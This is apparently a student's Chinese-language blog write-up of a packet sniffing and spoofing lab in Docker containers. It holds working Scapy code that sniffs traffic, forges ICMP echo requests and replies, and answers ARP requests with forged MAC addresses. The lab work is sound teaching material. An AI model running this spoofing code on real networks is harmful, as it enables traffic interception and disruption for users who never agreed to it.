返回博客

新文章

2026-03-174 min 阅读

数据包嗅探和伪造实验

容器配置

搭建好所有容器,并连接到各个容器中。

alt text

任务 1.1 嗅探包

使用 Scapy 嗅探数据包

查询网络接口,为 br-6f19184d334c

alt text

编写代码进行嗅探

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
  pkt.show()

# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=print_pkt)

1.1 A

  • 使用 root 权限启动程序,并在 Host-A 上 ping Host-B 捕获到 icmp 包,如图 Host-A alt text Attacker alt text

  • 不使用 root 权限启动时,会报错 PermissionError: [Errno 1] Operation not permitted 权限不足。 原因是: _socket.socket.__init__(self, family, type, proto, fileno) 尝试调用 socket() 时,Linux 系统要求调用者有 CAP_NET_RAW权限 或者 root用户权限,而当前用户不具有这些权限。 alt text

1.1 B

设置以下过滤器并再次演示嗅探程序:

  • 只捕获 ICMP 包 pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=print_pkt) 同1.1 A,捕获到 ICMP 包 alt text
  • 捕获来自某个特定 IP 地址并且目标端口号为 23 的 TCP 包 pkt = sniff(iface='br-6f19184d334c', filter='tcp and src host 10.9.0.5 and dst port 23', prn=print_pkt) 在 Host-A 上执行 telnet 10.9.0.6 23,向 Host-B 的 23 端口发送 TCP 包,程序成功捕获到 TCP 包 alt text
  • 捕获来自或去往某个特定网络的包。可以选择任意网络,例如128.230.0.0/16,但不应选择与你的虚拟机连接的同一子网 pkt = sniff(iface='br-6f19184d334c', filter='net 10.203.0.0/16', prn=print_pkt) 在 Host-A 上执行 ping 10.203.14.25,向 10.203.0.0/16 子网发送 ICMP 包,程序成功捕获到 dst = 10.203.14.25 的包 alt text

任务 1.2 伪造 ICMP 包

编写代码,伪造一个 ICMP echo 请求包,其中源 IP 为10.9.0.5,目标 IP 为 10.9.0.6

#!/usr/bin/env python3
from scapy.all import *

ip = IP()
ip.src = "10.9.0.5"    # 源IP Host-A
ip.dst = "10.9.0.6"    # 目标IP Host-B

icmp = ICMP()
p = ip/icmp

send(p)

使用 wireshark 捕获 ICMP echo 相应包

alt text

运行程序,发现 Host-B 10.9.0.6 向 Host-A 回复了一个 ICMP echo 响应包,表明上述程序成功伪造了一个 ICMP echo 请求包。

任务 1.3 实现 Traceroute

查询 AI 发现 scapy 中存在函数 sr1() 可以发送并接受一个对应的相应包,得到的 replytype 为 0 表示 echo 响应包, 11 表示 ICMP 超时。

#!/usr/bin/env python3
from scapy.all import *

# ttl 从 1 开始递增
for ttl in range(1,100):
    # 设置IP包,目标地址为 10.203.14.25
    ip = IP()
    ip.dst = "10.203.14.25"
    ip.ttl = ttl
    icmp = ICMP()
    p = ip/icmp
    # 发送并接受一个响应包
    reply = sr1(p, timeout=1, verbose=False)

    if reply.type == 0:
        # ICMP Echo响应,到达目标
        print(f"ttl = {ttl}, rep = {reply.src}")
        print("到达目标")
        break
    elif reply.type == 11:
        # ICMP超时,进入下一循环
        print(f"ttl = {ttl}, rep = {reply.src}")
    else:
        print("出错") 
    

执行代码,得到结果:虚拟机到目标 10.203.14.25 的距离为 3 alt text

任务 1.4 嗅探和伪造结合

对于 sniff 得到的包 pkt,通过 pkt[IP]pkt[ICMP] 访问对应的部分。 如下代码每接受到一个 ICMP 包,就执行一次 fake_rep ,如果该包是 ICMP echo 请求,则伪造一个响应包

#!/usr/bin/env python3
from scapy.all import *

def fake_rep(pkt):
    if pkt[ICMP].type == 8:
        ip = IP()
        # 伪造目标地址和源地址
        ip.dst = pkt[IP].src
        ip.src = pkt[IP].dst
        # 伪造 ICMP echo响应,保持 id 和 seq 不变
        icmp = ICMP()
        icmp.type = 0
        icmp.id=pkt[ICMP].id
        icmp.seq=pkt[ICMP].seq

        rep = ip/icmp
        send(rep)
        print("已伪造响应")
    else:
        print("跳过非请求")

# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=fake_rep)

执行程序,发现在容器上 ping 一个地址时,回复显示包被截断 (truncated) alt text 通过查看 wireshark,区分伪造包和正常的响应包,发现缺少了 ICMP 的 时间戳 和 Data 部分 伪造: alt text alt text 通过询问AI,增加代码,将剩余的数据部分补充上

        if pkt.haslayer(Raw):
            rep = ip/icmp/pkt[Raw].load
        else:
            rep = ip/icmp

再次执行程序,并在容器中 ping 8.8.8.8,可以看到每个seq都有两个对应的回复,分别是伪造包和服务器返回的相应包,由于伪造包不需要经过路由器,它能够更快的发送到容器中,而服务器的响应被当成了冗余响应(DUP!)。 现象表明程序能够成功伪造网络上存在的地址的相应。 alt text

接着尝试 ping 1.2.3.410.9.0.99,发现 ping 1.2.3.4 能够伪造出响应,而 ping 10.9.0.99 不能伪造出响应,甚至无法收到 ICMP 包

alt text alt text

通过 ip route get 查询路由,发现 ping 1.2.3.4 时,先经过网关 10.9.0.1,此时容器会先用 ARP 查询 10.9.0.1 的 MAC 地址,能够正常得到 MAC 地址,然后发送 ICMP echo 请求包,此时程序能够正常接收并伪造响应,而网关后续的查询是找不到结果的,不会返回响应。 而 ping 10.9.0.99 时,由于处于同一子网,容器直接向 10.9.0.99 发送 ARP 查询请求,由于这是个不存在的地址,无法产生 ARP 相应,容器也就无法得到对应的 MAC 地址,因此就不会发送 ICMP echo 请求,程序就无法完成嗅探和伪造。 alt text

使用 AI 工具,完成了 ARP 请求的伪造,向容器发送一个虚假的 MAC 地址,这里使用的是网络端口对应的 MAC 地址。

    iface = "br-6f19184d334c"
    # 处理所有ARP请求
    if pkt.haslayer(ARP) and pkt[ARP].op == 1:
        # 构造ARP响应
        arp_reply = ARP(
            op=2,
            hwsrc=get_if_hwaddr(iface),
            psrc=pkt[ARP].pdst,  # 响应被询问的IP
            hwdst=pkt[ARP].hwsrc,
            pdst=pkt[ARP].psrc
        )
        # 伪造 MAC 地址
        ether = Ether(src=get_if_hwaddr(iface), dst=pkt[Ether].src) 
        # 向指定端口发送响应,以确保以太网层伪造的 MAC 地址被容器正确获取
        sendp(ether/arp_reply, iface=iface) 
        print(f"伪造ARP响应")

最终测试,能够伪造 ping 10.9.0.99 的响应包。 alt text 伪造程序输出如下 alt text 对于之前的地址也能正常伪造 ICMP echo 响应包。 alt text alt text

最终代码如下:

#!/usr/bin/env python3
from scapy.all import *

iface = "br-6f19184d334c"

def fake_rep(pkt):
    # 处理所有ARP请求
    if pkt.haslayer(ARP) and pkt[ARP].op == 1:
        # 构造ARP响应
        arp_reply = ARP(
            op=2,
            hwsrc=get_if_hwaddr(iface),
            psrc=pkt[ARP].pdst,  # 响应被询问的IP
            hwdst=pkt[ARP].hwsrc,
            pdst=pkt[ARP].psrc
        )
        ether = Ether(src=get_if_hwaddr(iface), dst=pkt[Ether].src)
        sendp(ether/arp_reply, iface=iface)
        print(f"伪造ARP相应")
    elif pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
        ip = IP()
        # 伪造目标地址和源地址
        ip.dst = pkt[IP].src
        ip.src = pkt[IP].dst
        # 伪造 ICMP echo响应,保持 id 和 seq 不变
        icmp = ICMP()
        icmp.type = 0
        icmp.id=pkt[ICMP].id
        icmp.seq=pkt[ICMP].seq
        # 补充其余数据
        if pkt.haslayer(Raw):
            rep = ip/icmp/pkt[Raw].load
        else:
            rep = ip/icmp

        send(rep)
        print("已伪造ICMP响应")
    else:
        print("跳过非请求")

# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface=iface, filter='icmp or arp', prn=fake_rep)

评论

0/1000